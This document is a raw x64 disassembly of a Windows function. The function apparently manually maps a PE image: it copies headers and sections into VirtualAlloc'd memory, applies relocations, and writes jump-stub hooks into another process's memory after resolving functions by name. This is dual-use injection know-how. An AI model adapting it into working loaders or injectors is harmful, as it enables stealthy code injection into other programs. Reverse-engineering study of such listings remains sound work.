movsxd rax, dword [0x1404e4d5c]
lea rcx, [0x1404e4d20]
add rax, 8
add rax, rcx
jmp 0x140426521
mov eax, 4
mov r8d, dword [rax]
lea rdx, [rbp + 0x238]
lea rcx, [rbp + 0x1d8]
call fcn.1404702b4
test al, al
jne 0x1404265a2
lea rdx, [rbp + 0x238]
lea rcx, [rbp + 0x280]
call fcn.140428f98
mov rbx, rax
mov qword [rbp + 8], rax
mov rcx, qword [rbp + 0x230]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x14042656f
mov rcx, rbx
call fcn.140424694
nop
mov rcx, rbx
call fcn.140422344
nop
lea rcx, [rbp + 0x238]
call fcn.140422344
nop
lea rcx, [rbp + 0x340]
call fcn.140422344
lea rcx, [rbp + 0x320]
call fcn.140422344
jmp 0x1404252e7
mov r14, r13
mov rax, qword [rbp + 0x5f8]
lea r15, [rax + r13]
cmp r13, r15
jae 0x1404268c4
mov r13d, 4
movabs rsi, 0x7ffffffffffffffd
mov rbx, qword [0x140548aa0]
mov eax, dword [r12 + r13]
cmp dword [0x1405484dc], eax
jle 0x140426621
lea rcx, [0x1405484dc]
call fcn.1404d1d68
cmp dword [0x1405484dc], 0xffffffff
jne 0x140426621
lea rcx, [0x1404e4be8]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, str.NtShutdownSystem
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140548598], rax
lea rcx, [0x1405484dc]
call fcn.1404d1d08
mov eax, dword [r12 + r13]
cmp dword [0x140548588], eax
jle 0x14042666c
lea rcx, [0x140548588]
call fcn.1404d1d68
cmp dword [0x140548588], 0xffffffff
jne 0x14042666c
mov edx, 2
lea rcx, [0x1405484e0]
call qword [sym.imp.MSVCP140.dll__Mtx_init_in_situ]
lea rcx, [0x1404d5c00]
call fcn.1404d20f4
lea rcx, [0x140548588]
call fcn.1404d1d08
lea rcx, [0x1405484e0]
call fcn.140422298
mov dword [rbp + 0x5e0], 0x25ff
mov word [rbp + 0x5e4], di
mov qword [rbp + 0x5e6], rbx
mov rcx, qword [0x140548538]
mov ebx, reloc.WS2_32.dll_ntohl
mov r8d, ebx
lea rdx, [rbp + 0x220]
call fcn.140424d94
mov rcx, qword [0x140548538]
mov r8d, ebx
lea rdx, [rbp + 0x5e0]
call fcn.140424f20
mov rax, qword [0x140548598]
mov rcx, r14
call rax
mov rbx, rax
mov rcx, qword [0x140548538]
mov r8d, reloc.WS2_32.dll_ntohl
lea rdx, [rbp + 0x220]
call fcn.140424f20
lea rcx, [0x1405484e0]
call qword [sym.imp.MSVCP140.dll__Mtx_unlock]
mov r9d, 8
mov r8, rbx
lea rdx, [rbp + 0x2d0]
lea rcx, [rbp + 0x1d8]
call fcn.14046f3c0
test al, al
jne 0x1404269a2
xor eax, eax
mov qword [rbp + 0x1f0], rax
mov rbx, qword [0x140548aa8]
mov eax, dword [r12 + r13]
cmp dword [0x1405484dc], eax
jle 0x14042677b
lea rcx, [0x1405484dc]
call fcn.1404d1d68
cmp dword [0x1405484dc], 0xffffffff
jne 0x14042677b
lea rcx, [0x1404e4be8]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, str.NtShutdownSystem
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140548598], rax
lea rcx, [0x1405484dc]
call fcn.1404d1d08
mov eax, dword [r12 + r13]
cmp dword [0x140548588], eax
jle 0x1404267c6
lea rcx, [0x140548588]
call fcn.1404d1d68
cmp dword [0x140548588], 0xffffffff
jne 0x1404267c6
mov edx, 2
lea rcx, [0x1405484e0]
call qword [sym.imp.MSVCP140.dll__Mtx_init_in_situ]
lea rcx, [0x1404d5c00]
call fcn.1404d20f4
lea rcx, [0x140548588]
call fcn.1404d1d08
lea rcx, [0x1405484e0]
call fcn.140422298
mov dword [rbp + 0x5d0], 0x25ff
mov word [rbp + 0x5d4], di
mov qword [rbp + 0x5d6], rbx
mov rcx, qword [0x140548538]
mov ebx, reloc.WS2_32.dll_ntohl
mov r8d, ebx
lea rdx, [rbp + 0x4c0]
call fcn.140424d94
mov rcx, qword [0x140548538]
mov r8d, ebx
lea rdx, [rbp + 0x5d0]
call fcn.140424f20
mov rax, qword [0x140548598]
mov rcx, r14
call rax
mov rbx, rax
mov rcx, qword [0x140548538]
mov r8d, reloc.WS2_32.dll_ntohl
lea rdx, [rbp + 0x4c0]
call fcn.140424f20
lea rcx, [0x1405484e0]
call qword [sym.imp.MSVCP140.dll__Mtx_unlock]
mov r9d, 8
mov r8, rbx
lea rdx, [rbp + 0x2c8]
lea rcx, [rbp + 0x1d8]
call fcn.14046f3c0
neg al
sbb rcx, rcx
and rcx, qword [rbp + 0x2c8]
and rcx, rsi
or rcx, 2
mov qword [rbp + 0x2c0], rcx
lea r8, [rbp + 0x2c0]
mov r9d, 8
mov rdx, rbx
lea rcx, [rbp + 0x1d8]
call fcn.14046fa28
add r14, 0x1000
cmp r14, r15
jb 0x1404265c9
mov rsi, qword [rbp + 0x5c0]
mov r13, qword [rbp + 8]
mov rax, qword [rbp + 0x5f8]
mov r9d, 4
mov r8d, 0x3000
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r14, rax
mov r8d, dword [rsi + 0x54]
mov rdx, qword [0x140548638]
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
movzx ebx, word [rsi + 0x14]
add rbx, 0x28
mov r15d, edi
cmp di, word [rsi + 6]
jae 0x14042692d
add rbx, rsi
mov ecx, dword [rbx - 4]
add rcx, r14
mov r8d, dword [rbx]
mov edx, dword [rbx + 4]
add rdx, qword [0x140548638]
call sub.VCRUNTIME140.dll_memcpy
inc r15d
lea rbx, [rbx + 0x28]
movzx eax, word [rsi + 6]
cmp r15d, eax
jl 0x140426905
mov rbx, r13
sub rbx, qword [rsi + 0x30]
mov rdx, r14
lea rcx, [rbp + 0x4c0]
call fcn.14042b5f0
mov rdx, rbx
mov rcx, rax
call fcn.14042b338
mov rdx, r14
lea rcx, [rbp + 0x4c0]
call fcn.14042b71c
mov rcx, rax
call fcn.14042b398
test al, al
jne 0x1404269d2
lea rdx, [rbp + 0x238]
lea rcx, [rbp + 0x280]
call fcn.140428f98
mov rbx, rax
mov qword [rbp + 8], rax
mov rcx, qword [rbp + 0x230]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x14042699d
mov rcx, rbx
call fcn.140424694
nop
jmp 0x14042656f
mov rax, qword [rbp + 0x2d0]
mov qword [rbp + 0x1f0], rax
test al, al
jns 0x140426723
and rax, rsi
or rax, 2
mov qword [rbp + 0x1f0], rax
lea r8, [rbp + 0x1f0]
jmp 0x14042688d
mov r8d, dword [rsi + 0x54]
xor edx, edx
mov rcx, r14
call fcn.1404d306c
mov r9, qword [rbp + 0x5f8]
mov r8, r14
mov rdx, r13
lea rcx, [rbp + 0x1d8]
call fcn.14046fa28
mov ebx, dword [rsi + 0x28]
add rbx, r13
mov esi, dword [rsi + 0x50]
mov r15d, 4
mov eax, dword [r15 + r12]
cmp dword [0x140548a70], eax
jle 0x140426a59
lea rcx, [0x140548a70]
call fcn.1404d1d68
cmp dword [0x140548a70], 0xffffffff
jne 0x140426a59
lea rcx, [0x1404e4be8]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, str.NtShutdownSystem
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140548ac0], rax
lea rcx, [0x140548a70]
call fcn.1404d1d08
lea r14, [0x140548ad0]
mov eax, dword [r15 + r12]
cmp dword [0x140548a68], eax
jle 0x140426aa7
lea rcx, [0x140548a68]
call fcn.1404d1d68
cmp dword [0x140548a68], 0xffffffff
jne 0x140426aa7
mov edx, 2
mov rcx, r14
call qword [sym.imp.MSVCP140.dll__Mtx_init_in_situ]
lea rcx, [0x1404d5bf0]
call fcn.1404d20f4
lea rcx, [0x140548a68]
call fcn.1404d1d08
mov rcx, r14
call fcn.140422298
mov dword [rbp + 0x5c0], 0x25ff
mov word [rbp + 0x5c4], di
mov qword [rbp + 0x5c6], rbx
mov rcx, qword [0x140548538]
mov ebx, reloc.WS2_32.dll_ntohl
mov r8d, ebx
lea rdx, [rbp + 0x5f8]
call fcn.140424d94
mov rcx, qword [0x140548538]
mov r8d, ebx
lea rdx, [rbp + 0x5c0]
call fcn.140424f20
mov rdx, rsi
mov rcx, r13
call qword [0x140548ac0]
mov rcx, qword [0x140548538]
mov r8d, ebx
lea rdx, [rbp + 0x5f8]
call fcn.140424f20
mov rcx, r14
call qword [sym.imp.MSVCP140.dll__Mtx_unlock]
lea rdx, [rbp + 0x238]
lea rcx, [rbp + 0x280]
call fcn.140428f98
mov rbx, rax
mov qword [rbp + 8], rax
mov rcx, qword [rbp + 0x230]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x140426b5d
mov rcx, rbx
call fcn.140424694
test al, al
mov sil, 1
jne 0x140426b60
mov sil, dil
mov rcx, rbx
call fcn.140422344
test sil, sil
je 0x140426b70
mov dil, 1
lea rcx, [rbp + 0x238]
call fcn.140422344
nop
lea rcx, [rbp + 0x340]
call fcn.140422344
lea rcx, [rbp + 0x320]
call fcn.140422344
nop
lea rcx, [rbp + 0x2a0]
call fcn.140422344
mov al, dil
jmp 0x140426bbd
mov ecx, r15d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
nop
lea rcx, [rbp + 0x2a0]
call fcn.140422344
mov rcx, qword [rbp + 0x608]
xor rcx, rsp
call fcn.1404d1bc0
lea r11, [rsp + 0x670]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret